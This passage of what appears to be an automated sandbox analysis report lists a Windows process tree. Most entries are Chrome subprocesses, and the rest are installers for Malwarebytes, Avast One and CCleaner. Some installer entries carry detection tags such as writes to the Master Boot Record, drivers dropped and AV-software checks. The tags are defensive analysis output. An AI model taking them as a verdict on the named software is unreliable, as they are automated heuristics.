  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2348 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:1
  2⤵
  PID:2488
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1500 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:2
  2⤵
  PID:2580
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3224 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:1
  2⤵
  PID:1732
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3456 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:8
  2⤵
  PID:1232
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3572 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:8
  2⤵
  PID:1928
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=4000 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:1
  2⤵
  PID:1672
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=2652 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:1
  2⤵
  PID:976
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=2556 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:1
  2⤵
  PID:1000
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=2084 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:1
  2⤵
  PID:1464
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4780 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:8
  2⤵
  PID:1680
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4792 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:8
  2⤵
  PID:2060
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5116 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:8
  2⤵
  PID:940
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5068 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:8
  2⤵
  PID:1568
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5144 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:8
  2⤵
  PID:2388
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5076 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:8
  2⤵
  PID:1676
- C:\Users\Admin\Downloads\mbsetup-50010.50010.exe
  "C:\Users\Admin\Downloads\mbsetup-50010.50010.exe"
  2⤵
  - Drops file in Drivers directory
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:2436
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=2004 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:1
  2⤵
  PID:2700
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=2824 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:1
  2⤵
  PID:2356
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=2792 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:1
  2⤵
  PID:2460
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=2024 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:1
  2⤵
  PID:1932
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3940 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:8
  2⤵
  PID:1844
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3760 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:8
  2⤵
  PID:680
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3408 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:8
  2⤵
  PID:2060
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3596 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:8
  2⤵
  PID:1192
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3756 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:8
  2⤵
  PID:2924
- C:\Users\Admin\Downloads\avast_one_free_antivirus.exe
  "C:\Users\Admin\Downloads\avast_one_free_antivirus.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Writes to the Master Boot Record (MBR)
  - System Location Discovery: System Language Discovery
  PID:576
- - C:\Windows\Temp\asw.ab48de9df46dd366\avast_one_essential_setup_online_x64.exe
    "C:\Windows\Temp\asw.ab48de9df46dd366\avast_one_essential_setup_online_x64.exe" /cookie:mmm_aon_012_999_a8j_m:dlid_AVAST-ONE-FREE-WIN-PPC /ga_clientid:da8f1572-aead-42d6-9faa-e2f1cda7d1a3 /edat_dir:C:\Windows\Temp\asw.ab48de9df46dd366
    3⤵
    - Executes dropped EXE
    - Checks for any installed AV software in registry
    - Writes to the Master Boot Record (MBR)
    - Checks processor information in registry
    PID:540
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --mojo-platform-channel-handle=3716 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:1
  2⤵
  PID:1000
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --mojo-platform-channel-handle=3388 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:1
  2⤵
  PID:484
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3588 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:8
  2⤵
  PID:2748
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3480 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:8
  2⤵
  PID:2780
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --mojo-platform-channel-handle=3496 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:1
  2⤵
  PID:1540
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --mojo-platform-channel-handle=3688 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:1
  2⤵
  PID:2188
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --mojo-platform-channel-handle=3768 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:1
  2⤵
  PID:1572
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --mojo-platform-channel-handle=3428 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:1
  2⤵
  PID:3004
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --mojo-platform-channel-handle=3940 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:1
  2⤵
  PID:2532
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --mojo-platform-channel-handle=2112 --field-trial-handle=1360,i,2567799838937568187,9339496970645873741,131072 /prefetch:1
  2⤵
  PID:3516

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:1796

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2488

C:\Program Files\Windows Defender\MSASCui.exe
"C:\Program Files\Windows Defender\MSASCui.exe"
1⤵
PID:1608

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:3692
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef84f9758,0x7fef84f9768,0x7fef84f9778
  2⤵
  PID:1872
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1176 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:2
  2⤵
  PID:3132
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1440 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:8
  2⤵
  PID:3188
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1600 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:8
  2⤵
  PID:3420
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2216 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:1
  2⤵
  PID:1616
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2316 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:1
  2⤵
  PID:3284
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2556 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:2
  2⤵
  PID:3424
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=2636 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:2
  2⤵
  PID:3020
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=1388 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:1
  2⤵
  PID:3244
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3352 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:8
  2⤵
  PID:1220
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3372 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:8
  2⤵
  PID:1364
- C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe
  "C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe" --reenable-autoupdates --system-level
  2⤵
  PID:3704
- - C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe
    "C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x154,0x158,0x15c,0x128,0x160,0x140057688,0x140057698,0x1400576a8
    3⤵
    PID:3716
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=3448 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:1
  2⤵
  PID:2780
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=2368 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:1
  2⤵
  PID:872
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=1480 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:1
  2⤵
  PID:3680
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=2272 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:1
  2⤵
  PID:2244
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=2224 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:1
  2⤵
  PID:3064
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=2512 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:1
  2⤵
  PID:2644
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4068 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:8
  2⤵
  PID:3468
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4036 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:8
  2⤵
  PID:1168
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4020 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:8
  2⤵
  PID:1092
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4052 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:8
  2⤵
  PID:1636
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4232 --field-trial-handle=1304,i,13765862729648042200,16180135408272552283,131072 /prefetch:8
  2⤵
  PID:2164
- C:\Users\Admin\Downloads\CCSetup.exe
  "C:\Users\Admin\Downloads\CCSetup.exe"
  2⤵
  PID:3144
- - C:\Users\Admin\AppData\Local\Temp\{DC2BEA56-E631-49D7-A1C8-32C95170C4A1}\CCSetup.exe
    C:\Users\Admin\AppData\Local\Temp\{DC2BEA56-E631-49D7-A1C8-32C95170C4A1}\CCSetup.exe /q"C:\Users\Admin\Downloads\CCSetup.exe" /tempdisk1folder"C:\Users\Admin\AppData\Local\Temp\{DC2BEA56-E631-49D7-A1C8-32C95170C4A1}" /IS_temp
    3⤵
    PID:2772
  - - C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe
      C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{511A2DCD-3631-4721-8779-4BEB4BD01205}
      4⤵
      PID:3836
  - - C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe
      C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{771CDEE3-C936-45A3-9EE9-6D5A29D35AE5}
      4⤵
      PID:3912
  - - C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe
      C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{F766C308-8AAE-415E-B404-85E712CCB1D6}
      4⤵
      PID:1696
  - - C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe
      C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{C3A3CC8B-CDD8-4579-BC89-A2D91F43D4C3}
      4⤵
      PID:3544
  - - C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe
      C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{F1905061-0DDB-4565-B4EC-EA7E12FBD71F}
      4⤵
      PID:1632
  - - C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe
      C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{F6DA495C-46A1-4F23-BF95-82F07D946802}
      4⤵
      PID:4388
  - - C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe
      C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{EE153FCF-BDB3-4353-9CEE-60F323960A38}
      4⤵
      PID:4416
  - - C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe
      C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{E396720E-F223-4F67-BDC9-3FB1CB6E1370}
      4⤵
      PID:4444
  - - C:\Users\Admin\AppData\Local\Temp\{84AB8AFB-2F8F-4C65-BDFC-85E17643927E}\ISBEW64.exe
